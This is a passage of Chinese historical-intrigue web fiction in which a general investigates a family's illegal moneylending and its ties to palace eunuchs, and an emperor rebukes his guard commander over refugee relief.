即使已经怕得发抖,她还是努力抬起头,强撑着讲完了这份义正言辞的辩白:“沈姐姐说了,宣朝律是明令禁止利银每月不得过六分,那些人却每日记利还款,硬是逼得人没了活路,南平县令也帮他们说话,京兆府天子脚下,竟没半点王法吗!”
萧时运无端想,要是沈怀月在就好了。
沈小姐面对这份天真的正直,会有惭愧吗?
薛枕云无从得知她的想法,只是看萧将军神色忽然冷下来,以为是自己的话犯了忌讳,才后知后觉想起害怕。
满室的沉默沉甸甸压在薛姑娘心口,堵得她几乎喘不过气。萧时运盯着她看了一会儿,问:“你和沈怀月在查崔家放债的事?”
话讲到这个地步,再遮掩也没什么意义。薛枕云犹豫了一下,点头道:“是。”
“真巧。”萧时运笑了一声,“我来南平,也是为了查崔家。”
薛枕云颇为意外地看着眼前人:“真的?将军是为了薛家的事来的?”
“有人很希望我替他除掉崔家。”她敛眸喝了口茶,“那人暂且算是我的盟友,我也就不介意替他来看一眼。”
“既然我们目的一致,薛姑娘不如坦诚点。毕竟沈翰林自己的官职尚且比崔大人矮一级,真要对付崔家,怕也没那么容易。”
虽说翰林们的前程也不是这么比的,但谁让薛姑娘好骗呢。
而且有她在,沈大人今生是别想从翰林院熬出头了。
萧时运正盘算着日后的坏主意,却听见薛姑娘问。
“我可以相信将军吗?”
薛枕云顿了一下,迟疑看着眼前人:“沈姐姐说,崔家背后,有京城的贵人。”
萧时运:……
她揉了揉额角,无奈问:“薛姑娘不会是怀疑我吧?”
“没……没有!”
萧时运叹了口气,终于还是忍不住,抬手敲了一下她的额头:“蠢姑娘,我如果是崔家的同党,刚刚根本就不会救你。”
22. 神仙打架
“我没有怀疑将军。”薛枕云委屈巴巴捂着额头,“沈姐姐悄悄告诉过我,崔家如此嚣张,是仗了内廷的势。”
“内廷?”萧时运闻言皱眉,又确认了一遍,“你指的是宫里那些太监?”
崔放本事大的很啊,区区六品鸿胪寺丞,明面上既无家世又无靠山,不止让信王劳神,还能和宫里有牵扯?
虽说他最早在行人司*当差,负责传诏册封等在前朝及各地跑腿的活,和内侍监常有交集。但弘昌帝一朝百事号行人,能混到这份上的,崔大人也是独一位了。
薛姑娘不明所以点点头:“大约是吧,南平早先也有过这样的流言。但都是些没影的猜测,大家怕惹祸上身,也不敢多提。”
萧时运想起商人讳莫如深的态度,慢慢收敛起方才的懒散:“沈怀月又是从哪里听到的消息?”
“是崔效和她说的。”薛枕云叹了口气,“因为这个,沈姐姐也不敢退婚,怕崔效怀恨在心,报复沈家。”
“听沈姐姐说,崔家原本想与死者的家人私了,还好县令大人公正,坚持抓了人。”
“崔故是个色厉内荏的,刚进大牢就病了,现在只靠崔家送药送补品吊一口气,当真是报应。”
萧时运却没有心情附和薛姑娘天真的感慨,她若有所思点了点桌沿,问:“你在南平都查到了什么?”
薛枕云听见这句话,不由低下头,抿唇沉默良久,小声说:“其实也没查到什么……”
“我的确和相熟的夫人们打听过,也问过李姑娘的街邻。可赵屠户平日常和些地痞无赖吃酒赌钱,与崔家实在看不出关联。”
“沈姐姐说,崔放应当有一本账册专门记录这些银钱往来,但李姑娘在崔家时间太短,接触不到这种秘密。”
薛姑娘低头看着木桌粗粝的纹路,长睫轻轻颤了颤:“救下李姑娘后,沈姐姐劝过我,不要再打听这件事。可是……可是我真的很想帮她们。”
“如果我能查出点什么,不止李姑娘能为家人报仇,沈姐姐也不用嫁进崔家那个火坑。”
她攥紧手指,用力掐了一下掌心,强迫自己稳住心神:“我不知将军与沈姐姐有什么误会,但她不会害我们的。她愿意冒着风险去救和她素不相识的李姑娘,又怎么可能是坏人。”
萧时运盯着眼前姑娘看了半晌,无奈笑了笑,暂且放缓语气,顺着她的话道:“或许是我错怪了沈小姐。但你的确该听她的劝告,不要再打听崔家的事。”
“可崔故的案子一直没个定论,崔家其他人也还在南平逍遥。”薛枕云不甘心咬了下唇,“当真就拿他们没办法吗?”
“怎么可能。”萧时运笑了一声,“崔家不过是仗势欺人的一条狗,查出他背后的人,我们才好对症下药。”
她耐着性子与眼前的姑娘套话,问:“你的沈姐姐有没有提过什么线索?”
薛枕云有些失落摇了摇头:“没有……沈姐姐说,崔效也知道投靠太监这种事不光彩,并不愿多提。她也不知道崔家背后究竟是谁。”
真好骗啊。萧时运忍不住腹诽。别哪天被你沈姐姐卖了,还傻乎乎帮她输钱。
薛姑娘无从得知萧将军的嘲讽,只怔了片刻,仿佛又想起了什么,犹豫道:“不过有一件事……我不知道是不是我多想。”
“与崔家相熟的刘夫人说,崔放有个表妹,自小养在崔老夫人身边。原本听老夫人的意思,是要聘给崔放做大少奶奶的。可两年前,那姑娘忽然不见了。”
萧时运给薛姑娘添了点茶水,好奇问:“不见了?”
“崔老夫人对外的解释是家里人接她回去嫁人了。但刘夫人告诉我,那姑娘一直在崔家,没听说还有什么亲戚。且崔家发迹,就是在那姑娘消失后不久。”
萧时运听得一头雾水:“你觉得这两件事有关系?”
“是刘夫人猜的。”薛枕云声音低了一点,“那姑娘消失前,和崔老夫人进京住了段日子,后来却只有老夫人回了南平。刘夫人觉得,她或许被哪家贵人相中了,只是运气不好没过明路,崔老夫人也不好直说。”
薛姑娘年纪小,见的事也少,说起这些,总归有些难为情,萧时运大概理解了一下她话里弯弯绕绕的遮掩,心下了然:“你是说那姑娘做了外室,崔家乍富,也是借了那姑娘的光?”
“我不知道。”薛枕云垂头丧气看了眼萧将军,“我还没来得及继续查,就因为李姑娘的事,被母亲关了禁闭。”
今天好容易能上街逛逛,又被崔效绑了。
她想到这里,原本回落的恐惧值往上涨了些:“可除了李姑娘的事,我真的想不到崔效还有什么理由抓我,明明我在南平什么都没查到。”
“你是在京城被绑的?”
“是……我本来想去找沈姐姐,可才走到街角,就
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被一伙人拖上了马车。”
萧时运听见这话,语气立时多出几分怀疑,试探道:“那你怎么知道他们是崔家人?”
“我……我听见他们对话里提到了三少爷,又是往南平来,肯定是崔效。”
萧将军看着她头顶闪烁的黑字,笑眯眯问:“只是因为这个?”
话音未落,薛姑娘的恐惧值涨得更快了。
这也是个藏不住事的。
萧时运腹诽了一句,抬手轻轻抵住眼前人的唇:“如果编不圆谎,就先不要开口。”
“不然,你可能就要永远留在南平了。”
她究竟是怎么发现的啊!薛姑娘心底一阵哀嚎,欲哭无泪看着眼前人:“崔效在马车上,他……他说要用我威胁母亲。”
崔少爷那句话讲得很奇怪,薛枕云想不明白,又怕萧时运多问,才想瞒住他在场的事。
哪想萧将军三言两语,就挑破了她的心思。
“母亲和崔家真的没有关系!”恐惧一瞬慑住心脏,薛姑娘手足无措看着萧时运,急得几乎哭出声来,“她绝对不会帮崔家做这种丧良心的事!”
萧时运无动于衷听罢眼前人的挣扎,漠然敛眸,却也没再为难薛枕云。只讲。或许吧。
她重新剥了个橘子,鲜明而青涩的柑橘香蔓开在室内,语气听不出什么情绪:“我送你回京后,不要再掺和这件事。”
薛枕云攥着袖口沉默半晌,终究还是忍不住问:“崔家背后的人,很难对付吗?”
“谁知道呢。”
萧时运尝了一瓣橘子,倒不似先前那般酸得无法下咽。她吃完这份好运气,再看薛枕云时,又恢复了初见时云淡风轻的散漫:“薛姑娘有没有听过一句话。神仙打架,小鬼遭殃。”
“离你的沈姐姐远点吧。若真是御侧那几位,一旦出事,别说你,只怕她连自己的命都保不住。”
薛姑娘张了张口,似是想再辩什么,萧时运毫不留情截断她的话,语气平静。
“如果你不想害死李姑娘,不想害死薛掌柜和珠翠楼其他人,就按我说的做。”
**
行人司职责参考《明会典》:掌传旨、册封等事。凡颁行诏敕、抚谕四方、征聘贤才,及赏赐、慰问等,则遣其行人出使。
大概是个跑腿的九品官。以进士充任后升品秩,但也没说具体是几品,本文就按九品算了。
23. 血芙蓉
第二日晌午,一驾不起眼的双轮马车停在珠翠楼门口。薛枕云焦心一路,此刻惴惴注视着微晃的布帘,却无端觉得有什么东西压在心口,既惧且忧,迟迟不敢起身。
她此刻才后知后觉,自己是不是闯了好大的祸。
“快去吧。”萧时运推了推身边的姑娘,“薛掌柜该急坏了。”
薛姑娘下了马车,才见珠翠楼店门紧闭。乌沉沉的木板横在眼前,薛姑娘心底不由又添许多忐忑。她抬手敲了敲门,过了大约一盏茶的时间,一个丫鬟开门道:“贵人请过几日再来……”
她看见眼前人,怔愣片刻,慌忙回身往楼上喊:“掌柜!小姐回来了!小姐回来了!”
厢房的门猛然打开,薛掌柜看见门边的薛枕云,呆立一霎,跌跌撞撞冲下楼。
她紧紧抱住自己的女儿,眼泪止不住淌了满脸,喃喃道:“回来就好……回来就好……”
薛掌柜抱着女儿哭了好一会儿,正张嘴要训人,才看见门外的萧时运,动作僵住半晌,慌忙拉着薛枕云要跪。萧将军扶住她,平静道:“街上人多眼杂,有什么话进店再说吧。”
半个时辰后萧时运从珠翠楼出来,对青枝道,去请沈小姐过府一叙。
数日未见,眼前的姑娘又憔悴许多。如今还没到用炭的时候,萧时运听着院中枝影摇曳的风声,再看看沈小姐骨细不胜衣的单弱,让小桃去拿了个手炉。
沈怀月开口要推辞,萧将军轻飘飘截住她的话,笑:“秋日风凉,沈小姐这一趟若着了风寒,倒是我的罪过。”
沈怀月敛眸,长睫盈盈颤了颤,轻声讲:“枕云什么都不知道,请将军不要为难她。”
萧时运注意到,沈小姐头顶的黑字只有个位数了。
真有意思,怎么越到该害怕的时候,沈小姐的恐惧值越低。
“薛姑娘的确单纯,甚至可以说愚蠢。”她嗤笑一声,“可薛姑娘的无知与善良,不该成为你骗她去送死的理由。”
沈怀月沉默良久,低低叹了口气:“将军责备,我没什么要辩解的。”
“不过将军救了枕云,我便斗胆劝将军一句,不要再追查崔家。”
萧时运略微倾身,颇有兴趣盯着眼前的姑娘:“怎么,沈家还没把自己从事情里摘出来?”
沈怀月听出她话里的讥诮,便也抬眼与那份戏谑对视,双瞳剪水迎人滟,琉璃一般澄寂的清潭:“将军说笑了,订亲的聘礼已在今日送还崔家,沈家与崔家再无瓜葛。”
“沈小姐不伤心?”
“我无法容忍他对枕云下手。”事到如今,沈怀月也懒得再演刻骨铭心的深情与痛苦,只平静道,“崔家会付出应有的代价。”
沈小姐讲这话时,头顶红字闪烁片刻,倒比黑字数值多出许多。
萧时运盯着那数字看了片刻,笑:“沈小姐阻止我查崔家,不担心信王生气?”
周惟简可是很想推她去做刀子呢。
且听薛掌柜的话,崔家手里,大约也没什么能威胁沈平川的东西了。
从哪个角度看,沈姑娘都没必要讲这句话。
“我无权置喙殿下的决定,这只是我的私心。”沈怀月低眼喝了口茶,语气依然听不出什么情绪,“崔家的案子不该牵扯这么多人。”
“真可惜。”萧时运皮笑肉不笑扯了下嘴角,“周惟简若早点听沈小姐的劝告,也不至于做出眼下贪心不足蛇吞象的蠢事。”
沈怀月抿唇转了一下腕上的镯子,却也无话可说,又听见萧时运问。
“信王在南平留了人,你为什么还要薛枕云帮忙安置李姑娘?”
关于崔家与沈家的牵扯,萧时运也是见过薛掌柜,才解开了部分疑惑。
常言道物以类聚,信王殿下与沈翰林,倒是如出一辙的贪心。
和愚蠢。
沈怀月闻言微怔片刻,无奈叹了口气:“我没有权力差遣殿下的人。”
“如果不是枕云辗转认识了张大娘,我即使能放李姑娘出崔家,却也不知该怎么安顿她。”
沈小姐没有余钱接济李姑娘,沈平川和周惟简更不会管一个孤女的死活。她的好弟弟一早警告过她,不要节外生枝。
而薛姑娘不仅帮她与张大娘搭线,顺利帮李姑娘逃到了庄子上,还拿出私攒的体己接济她们。如果不是被薛掌柜发现,薛枕云原本打算悄悄把人在珠翠楼藏几日,再在京城给李姑娘找个落脚处。
珠翠楼在南平有三两家熟客,几位夫人喜欢薛枕云,时常邀她往来交际。薛姑娘性子单纯开朗,也不由让人愿意多讲几句无关紧要的真情。
沈怀月担忧信王与弟弟的谋划,的确有心利用她打听崔家的情况
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但沈小姐没想到,薛枕云得知李姑娘的遭遇,竟愿为一个素不相识的人,倾囊相助。
萧时运注视着眼前人,一时没有说话。那双黑色的凤眸幽邃如镜,照见沈小姐苦心竭力的疲怠。沈怀月以为她在斟酌措辞,好让接下来的追问得到更多的价值,便也强打起精神,凝神等她的话。
然而萧将军再开口,却是一件毫不相关的小事。
“你自作主张放走李姑娘,是因为愧疚?”
沈怀月怔愣半晌,自嘲般摇了摇头:“我只是觉得,让她活着,并不会妨碍什么。”
天钱从来沾血,折子上每一叠红泥印,都是层层累累的家破人亡。是以沈怀月帮李姑娘的恻隐里,难免掺着些自欺欺人的赎罪。薛枕云却与她不同,亮晶晶的善良与天真映在眼底,爱憎分明,澄透如阳光。
她实在惭愧。
“我以为李姑娘留在珠翠楼,枕云被关了禁闭,两人暂时不会再与南平有交集,事情便到此为止,却不想险些害死枕云。”
沈怀月倦怠合眼,“我自知愧对薛母,也不配与将军言谢。将军要处置发落,也是我应得的。”
“处置?”萧时运笑了一声,“沈小姐如果有罪,自有京兆府与三法司审理,我何必多管闲事?”
她给眼前的姑娘添了些茶水:“倒是我要与沈小姐道歉,是我先入为主,觉得沈小姐与崔家人是一丘之貉。之前闻弦坊多有冒犯,还请沈小姐见谅。”
“将军言重了。”沈怀月看着杯中倒影出神片刻,温顺讲,“近来家中事多,将军若无旁的吩咐,请容民女告辞。”
萧时运不置可否,盯着眼前人看了一会儿,云淡风轻笑:“我很喜欢沈小姐。”
“如果沈小姐愿意告诉我,崔效究竟是攀上了宫里哪一位祖宗,来日无论我与信王如何,总不至对沈小姐下死手。”
她顿了一下,唇边笑意轻巧:“沈小姐是聪明人,应该知道,今日的崔家,未必不是明日的沈家。”
“若分别押注,或许还能多一条生路。”
那张清弱的脸上在这一刻显出很多情绪,忧虑,恐惧,羡慕,尘一般层层积在眼底,沈怀月带着这些情绪和萧时运对视良久,最终落成疲惫的平寂:“将军,平川是我亲弟弟。”
“我不会背弃我的家人。”
24. 敌暗我明
送走沈怀月,青枝进来收了杯盏,问:“小姐,我们还要再管崔家的事吗?”
萧时运摇了摇头:“和秦错说一声,盯着珠翠楼查。待楚大人回府,我去和他解释。”
她顿了一下,又道:“你在沈怀月面前露过脸,暂时别去南平,崔家不足为虑,可信王的人尚在暗处,庄子上还是得小心些。”
“小姐放心,我会派人告知给那边。”青枝附耳与她说了几句,萧时运有些意外地挑眉,讲。知道了。
青枝蹙眉道:“小姐不觉得这太冒险了吗?”
“他能来也好。”萧时运低眼刮了刮杯中的茶叶,慢慢喝了口茶,“眼下正是用人的时候,有他在南平,我们总归能省点心。”
她见同伴眼底忧虑未散,轻轻握了一下她的手腕:“北关还有父亲他们盯着,出不了事的。”
“你忙了几天,先去休息吧。晚上让厨房做一道白菊暖锅,你和小桃都爱吃的。”
此刻丽妃才献上法印,周秉文尚且将信将疑惶惶不可终日,楚庭常日留值御前,虽察觉到萧时运话里非比寻常的谨慎,却直到第二日傍晚,才得空出宫。
他想着手下刚递上来的消息,也顾不上再让旁人传话,径直去了萧府。
“崔放死了?”
即使是萧时运,对沈小姐的行动力也有点佩服了。
“不止。”楚庭语气隐隐透出冷峻,“起火时崔效碰巧在哥哥房里,兄弟二人一起烧死了,仆役也死了好几个。崔老夫人听到这个噩耗,打击太大,一下子昏过去了,现在人还没醒。”
“真狠啊。”萧时运轻轻点了点杯沿,“崔家这下,是彻底没有能说话的人了。”
“你觉得,是信王做的?”
“多半是。”她想起沈怀月头顶已毫无波澜的恐惧值,轻飘飘笑了一声,“看来沈小姐见我之前,就已经知道崔家的下场。”
“以她对崔家案的态度,周惟简对崔家动手,估计少不了她的游说。”
“她很讨厌崔家?”楚庭闻言皱眉,“那她之前不退婚……”
真是周惟简说的缘故?
“怎么可能。”萧时运冷笑,“沈怀月和崔效虚与委蛇,只是为了她的好弟弟。”
“沈平川眼馋这笔横财,搅进崔家放利钱的事里了。”
这答案实在出乎意料,楚大人怔愣半晌,疑惑看着自己的搭档:“他缺钱不能找周惟简要吗?”
信王殿下金昭玉粹,难道连个幕僚都养不起?
难得看到楚指挥使露出这种纯粹且懵懂的困惑,萧时运忍不住摸了摸他的头,笑眯眯与楚庭解释:“信王当然接济了不少,不然沈翰林可拿不出放贷的本金。”
信王的馈赠固然好,但这样一个暴利的赚钱机会摆在眼前,沈平川怎么舍得错过。
毕竟,谁会嫌钱少呢。
虽然是歪门邪道的法子。
可姓沈的也不是什么正人君子啊。
楚庭瞥了眼萧时运,没躲她的动作,只问。沈怀月告诉你的?
“是薛掌柜。”
为着萧将军救下自己的女儿,薛掌柜总归要讲几句实话,权作回报。
“沈平川和崔放是今年初认识的,崔寺丞有意结交,想促成崔效和沈怀月的亲事。”
“崔家以崔老夫人的名义请沈小姐去过几次南平,估计沈怀月听到传言,对崔家发迹起了疑心。”
“南平的确有人传,崔家是在替宫里人做事。沈平川和信王会去查他们,应当也是因为这个。”
“崔家有本记录银钱往来的账册。听薛枕云的意思,沈怀月一直在找这个账册,甚至与李姑娘打听过。”萧时运眼底多出几分讥诮,“薛掌柜承认有这个账册存在,说之前崔放一直想用账册威胁沈平川,让他帮忙救崔故。”
人啊,还是不能太贪心。
楚庭嗤笑一声:“崔放既用账册威胁一个翰林院的愣头青,就没想着去求宫里的贵人帮忙?”
“楚大人诏狱里审惯了犯人,果然敏锐。”萧时运笑,“我问过薛掌柜,但涉及到那位,她无论如何也不肯说。”
“这个女人很聪明,我摸不清珠翠楼背后的深浅,一时也不能拿她怎么样。”萧时运看着自己的搭档,笑得意有所指,“不过她告诉我,前几日,崔家手里的账册不知道被什么人毁了。她觉得是沈家做的。”
楚指挥使审案见惯了狗咬狗的事,也懒得在这上面纠结:“听薛掌柜这话,珠翠楼和信王没关系?”
“无关,且薛掌柜说这件事时,一直在试探我知不知道沈家背后的人是谁。”
楚庭心下了然:“看来内廷那位也在查,是谁算计了他。”
“薛掌柜嘴严得很,坚称珠翠楼和崔家放贷的事情没关系。”萧时运语气听不出什么情绪,“但崔效不会无缘无故抓薛枕云,看他这狗急跳墙的举动,估计是宫里那位不打算管他,想威胁薛掌柜帮忙呢。”
“薛掌柜的姐姐曾经是尚功局的司珍,这几年很少在铺子里露面了,说是身子不好。”
“我猜,珠翠楼是崔家与宫里那位的中间人。”她若有所思支着下巴,“就算薛掌柜与印子钱的事无关,两边也难免有利益往来。”
“那薛枕云又是怎么回事,她母亲给内廷做中间人,她倒帮沈怀月。”
萧时运言简意赅:“算她好骗。”
“可能是脑子缺根弦吧,薛枕云的确什么都不知道。沈怀月从她嘴里套话,薛姑娘就把自己搭进去了。”她好笑地摇了摇头,“这么个单纯性子,也不知日后怎么接薛掌柜的铺面。”
“沈怀月场面话说得周全,看不出她对珠翠楼和宫里的牵扯究竟知道多少。再盯着沈家估计也挖不出什么,我先让秦错去查珠翠楼了。”萧时运看着自己的搭档,语气一点点冷下来,“查出内廷那位之前,我们也不好轻举妄动。”
“虽说薛掌柜答应瞒下我救了薛枕云的事,但很难说究竟能瞒多久。”她讲到这里,忍不住磨了磨牙,“我真不该多管闲事,现在算是遂了周惟简的意。”
楚庭意识到她话里的隐忧,脸色也不是很好看。
“可我不明白。”萧时运皱眉,“周惟简惹了什么事,要用我们对付内侍监。”
他低眼思量片刻,道:“如果我猜得不错,他应该是通过沈家和崔家,拿到了那个蠢货的把柄,才问出内侍监的消息。”
“周惟简知道结交近侍窥测圣意是什么罪,也不会蠢到把自己暴露在内廷的人面前。”
“秋狩时他引我去查崔家,显然是知道对面在查沈家背后的人,想利用缇骑司和内侍监的矛盾金蝉脱壳。”
若鸾仪卫对崔家动手,内廷那位怕牵连自身,自然不会坐以待毙,一旦两方互咬
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,倒成了他给姓周的做刀子。
现在萧时运救了薛枕云,即使薛掌柜不说,信王却有可能故意把消息漏给内廷那位,把锅甩到他们身上。
眼下这个局面,哪怕萧时运把沈家与信王的关系告知薛掌柜,她摘不出自己,事情真闹到御前,萧家的命和军权,也都保不住。
这是正在造反的萧时运不能容忍的。
大家都不干净,不到万不得已,没人想破釜沉舟同归于尽。
横竖他们都得替周惟简遮掩。
“你是说周惟简是通过这件事,才搭上的内廷?”萧时运愣了一下,“可放利钱这种事真闹大,对周秉文来说也不算什么吧,庆州那个矿监差点激起民乱,他最初不也没有处置的意思?”
楚庭冷哼一声:“矿税收上来的银子实实在在进了内帑,周秉文自然乐意对底下人睁一只眼闭一只眼。且庆州远离京城,再加上内侍监煽风点火,周秉文不会觉得是矿监勒索生事,只会恼顽民抗税,不敬天威。”
“但如果内侍监有蠢货私放利钱惹出祸端,让官员打着为民申冤的名义把事情捅开,周秉文没得到好处不说,还被底下奴才抹了一脸泥,得落个用人不察的罪过,那真是活腻了。”
为朝廷办事,功过非常人所能论及*;以公肥私败坏宫里的名声,就别怪主子无情了。
“我们得先查出那个授人以柄的蠢货是谁。”楚庭下意识捏紧了杯子,“周惟简打探过北关的军务,若你再牵扯进这件事,我实在担心……”
一旦对面起疑,事涉边军,内侍监断然不敢瞒着周秉文。
“前世这段时间有个呈笔乞退,楚大人觉得是他吗?”
“不太像。若真是他,这种时候乞退,就等着被灭口吧。”楚庭冷笑,“我如果是这个人,一定先假意合作稳住对方,再查出沈家背后的逆贼,拿着罪证去跟周秉文将功折罪。”
楚指挥使说罢愣了片刻,想。好像哪里不太对。
“楚大人别担心,我自然是信你的。”
萧将军握住搭档的手腕,方才一霎的愠恼了无痕迹。她云淡风轻笑了笑,接过话头:“除开珠翠楼,薛枕云还提过一件事,或许可以查一查。”
她与楚庭简单讲过崔放突然消失的表妹,思忖道:“崔家出了这么大的事,那姑娘会不会回来看看?”
“崔放的表妹……”楚庭皱眉想了一会儿,“难道是王善柔?”
“楚大人知道这个姑娘?”
“我看过崔家的户帖,的确有个能对得上的人。”楚庭与萧时运解释,“王善柔是崔老夫人妹妹的孩子,自幼父母双亡,便养在崔家。但是她今年六月已经死了。”
“真有意思,崔家还真是一个活口都没留下。”萧时运挑眉,“这就是放印子钱的报应吗?”
“户帖上看不出什么异常,说是病逝。”
“王姑娘有婚配吗?”
“没有。”楚庭起身道,“找人混进崔家打听打听王善柔的事,或许能有线索。”
他想了想,又道:“按前世的情形,十月初灾民会逐渐往京兆聚集。到时候我会向周秉文请旨,放灾民入城安置。”
“有劳楚大人。”萧时运送楚庭出了院子,虚虚按了一下搭档的肩,轻声讲,“万事小心。”
-
*1566郑大人的名言。浅浅致敬一下。
25. 流民
弘昌十三年十月,有御史弹劾关中道道台与山南道钦使宋孝友赈灾不利,以致两道百姓流离失所,四散逃难。眼下不断有灾民涌入京兆,乞求王命庇佑,官府未得旨意,不敢私放流民入城。虽有部分士绅于郊外布施救济,不过杯水车薪。
御史台上谏第二日,陆相带了陆明臣的急信入宫。
于周秉文而言,陆公子一向谨慎,离京这些年,明面上从未沾染过官场事,此刻能不避嫌疑递这封信,实在令他惊奇。
陆明臣在信中直陈山南灾情惨状,并言宋钦差到山南后,整日窝在道署与当地官员寻欢作乐,对于开仓放粮安置灾民校勘损失巡检督工重修道路房舍等事项一概丢与旁人敷衍了事,朝廷拨与当地民生的缮款也未用到实处。
凡此种种,实在触目惊心。
周秉文看罢,随意将信掷在桌上,语气漠然:“依众卿的意思,倒是朕看错了人。”
殿中烛火兀得跳了一瞬,陆逊业听出君上话中的凶险,立在原地静了片刻,拱手道:“宋孝友原在光禄寺协管宫廷酒醴膳馐,君威近在咫尺,自是谨小慎微,不敢妄为;如今他外放山南,却以为就此离了天子管制,方才得意忘形。殊不知普天之下莫非王土,岂容这等蠹虫误国。”
周秉文心底烦闷稍缓,又听见陆相沉声讲:“臣以为,若两道情况属实,当地官员不仅罔顾民生致百姓流离失所,更辜负皇恩,违背皇上爱民之心,确当依律论处。”
他注视着自己的老师,意有所指道:“陈辅元推举淮左粮道平调山南理事,户部侍郎进言查办关中道台,另择官员代之,御史台又有人上谏,眼下安抚百姓为要,可以参议许慎修暂领道署职。”
“那么多双眼睛盯着两道灾情,其中几分为民,怕也只有他们自己清楚。”
陆逊业张口,周秉文却并不给他说话的机会,话里依然没什么情绪:“现任关中道台革职入京听勘,着淮左粮道调关中接任道台职。淮左粮道到任前,许参议暂领道署公务,主管赈灾事宜。”
弘昌帝的话重重坠在陆相心里,激起千层忧思。许慎修的举荐明面上与陆逊业无关,此刻周秉文的话却让他疑心,君上是否有所察觉,才降此调令。
“至于山南。”周秉文略顿了顿,“明臣既然在当地,便让他继续盯着吧。”
比起方才的隐忧,这句算是彻底炸了道惊雷。陆逊业顾不得多想,急急开口拦道:“皇上,陆明臣不过一介布衣,岂能置喙官府公务,臣恳请皇上另择……”
“不打紧,朕给他道符牌就是了。”周秉文玩味盯着陆逊业,“当初朕有意封爵,他再三推辞不受,连第二年的会试都一并放弃。其实朕一向视你们父子二人为近密,陆相又何必小心至此。”
话已至此,陆逊业也没有拒绝的余地,只得叩首谢恩。
他示意李用送陆相出去,又对外殿道:“楚庭。”
鸾仪卫指挥使低眼进了内室,周秉文点了点桌上的信:“你看看吧。”
楚庭的目光落在信上。
他方才在外间,当然听见了周秉文与陆逊业的对话。以常理论,这种时候对御案疏信流露出兴致,显然是不识抬举的僭越。楚大人常伴君侧,一向熟谙君上的脾气,便故作迟疑要推绝,周秉文不耐烦打断:“让你看就看,哪来这么多废话。”
放在以往,楚指挥使少不了走一趟山南,除开给陆公子传旨,也探一探弹劾的虚实。可眼下内廷闹鬼阴翳未散,他并不愿放这个心腹离开。
“找几个可靠的人去,若事情真如陆明臣所说,也不必再递折子,直接将宋孝友槛送回京。”周秉文厌烦道,“朕让他去赈灾,他却闹得朝中物议如沸,实在不像话。”
楚庭放下信,犹豫片刻,低眼道:“关于山南道灾情,臣有事启奏。”
周秉文斜乜他一眼:“说。”
“御史台上书后,臣派属下向灾民询问两道情况。今日其中一人回禀,确有山南灾民提及当地官员玩忽职守,丝毫不理治下灾情。”
“余下几人尚在京兆与山南交界的南平、兴城等地。这几城灾民众多,待他们回京,两道情形可有参考。”
周秉文略微颔首。涉事官员是否全盘处置暂且不论,于弘昌帝而言,眼下要紧的是通过内廷的眼与耳知晓当地情形,而非任臣子凭一面之词裹挟圣意。
他对楚庭的安排还算满意,却又听到指挥使讲。
“如今灾民在城郊聚集,时有饿殍凄绝荒野,及至入冬,冻毙路边者更是不计其数。且灾民无以为生,若放任不管,于京兆治安也是隐患。”
楚庭略顿了一霎,跪道:“臣请旨,为逃难百姓编录户籍,放其就近入城安置。”
周秉文低眼看向身前人,故意晾了他半晌,才嗤笑一声:“户部的折子刚被朕留中,又让你来当说客?”
楚庭闻言,头伏得更低些:“臣只是担心会有流民生乱,祸延京城。”
朝堂争论宋孝友处置的同时,户部再次请求拨款,赈济京兆逃荒灾民。
周秉文不置可否,却开始看桌上未批完的折子。灯台上红蜡逐渐融成颓圮塌软的烛泪,李用借着奉茶进内间探看,被弘昌帝一个眼神喝退,自然也心领神会,知晓这不是自己该凑的热闹,悄无声息领着外间另一位内侍退出君行殿。
待到红烛将尽,周秉文才丢开手里的朱笔,起身走近跪在地上的臣子。
“朕教过你。”他居高临下睨着楚庭,“缇骑司的关要在听与看,而不是把自己卷进去。”
要是楚寻义还在该多好。
周秉文想到这,心底沉沉叹了口气。
自楚侍读走后,他再未遇到过如此志趣相投的贴心人。他原以为宋孝友可勉强提点一二,却不想又是个上不得台面的蠢货。
而楚庭比起他的父亲,尚且年轻气盛,心也不够狠。所谓诏狱活阎王的狠戾,不过是一层漂亮却脆薄易碎的糖壳,他在这孩子的倨傲之下,依然看到软弱优柔的良知。
周
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秉文不需要无用的良心,但楚庭如果能在对他的忠心藏好那点恻隐,他并不介意网开一面。
显然,楚指挥使在这方面做得远远不够。
“先前吴应卿的案子,你在诏狱护着那几个上谏的御史,为此,王忠可没少和朕聒噪。”周秉文冷笑,“有些事,朕不过睁一只眼闭一只眼罢了。”
“可你太心急。南平兴城那几个与流民问话的还没回来呢,你就上赶着替户部说情了。”
楚庭敛眸掩去眼底愤恨,低眉道:“臣知罪。”
“知罪?”弘昌帝闻言轻蔑眯起眼,“你以为,朕只是恼你阳奉阴违?”
悖逆君上已是重罪,周秉文的话显然不止于此,楚庭表面虽看不出什么波澜,依然缄声跪在原地,心神却骤然紧绷。
“看在你父亲的面子,朕再教你一遍。”
周秉文略微俯身,君威倾泻而下,拧成细而韧的绞索,慢慢勒紧在楚庭颈间。
“内侍省也好,六部也罢,诸人各司其职,自然也有各自的立场。”
“缇骑司不是成全你沽名卖直的地方,如果连这都记不住,日后有的是麻烦等着你。”
“户部既想收容流民,让他们自己拟个法子来跟朕说。”
他拿过方才批红奏折,随手扔在楚庭身上:“滚吧,不许再有第二次。”
楚庭离开后过了一盏茶的时间,李用才敢再入殿中,躬身道:“皇上,去昙阳观周边问话的人回禀,大约半月前,有人曾看到夜半时分,观内似有金光闪烁。此后晚间,荒院中便时有异响与亮光,附近村民以为有山精作祟,也不敢靠近。”
帘幕重重,挡住殿外的冷气,李用回话时,却无端觉得寒气自胸腔蔓开,冰得他四肢麻木:“至于天台观,仿佛是传闻中渤海仙山奇观,上一次被人记录现世,已是三百年前诸国战火止息,衡帝一统天下时。”
此时青阳入宫三日,周秉文对她,或者说她所代表的神谕既畏且疑,然而这个顺天命而现的道士背后,却空荡荡如一张白纸,了无尘迹,当真如仙人来去潇洒。
周秉文思忖半晌,沉声道:“不必再查青阳了。”
李用如蒙大赦,外间的另一位内侍适时上前奉茶,弘昌帝接过杯盏,茶香氤氲扑面,倒让千头万绪的思虑有了一罅喘息。他慢慢呷了一口,热腾腾的水汽熨帖五脏,周秉文的心情却实在称不上愉悦。
宋孝友贪鄙,他总归要另觅新才;流民既求王命庇佑,再不情愿,他却也得从内帑拿些银子,和户部一道救济。
前些年风调雨顺才宽裕些,弘昌帝还没来得及享受,却又要用之于民,岂有不心疼的道理。
而在这不悦之下,更有一桩隐忧,令他如鲠在喉。
李用尚不知两道赈灾事圣心已有决断,只是见周秉文面露不悦,不由再度悬心。
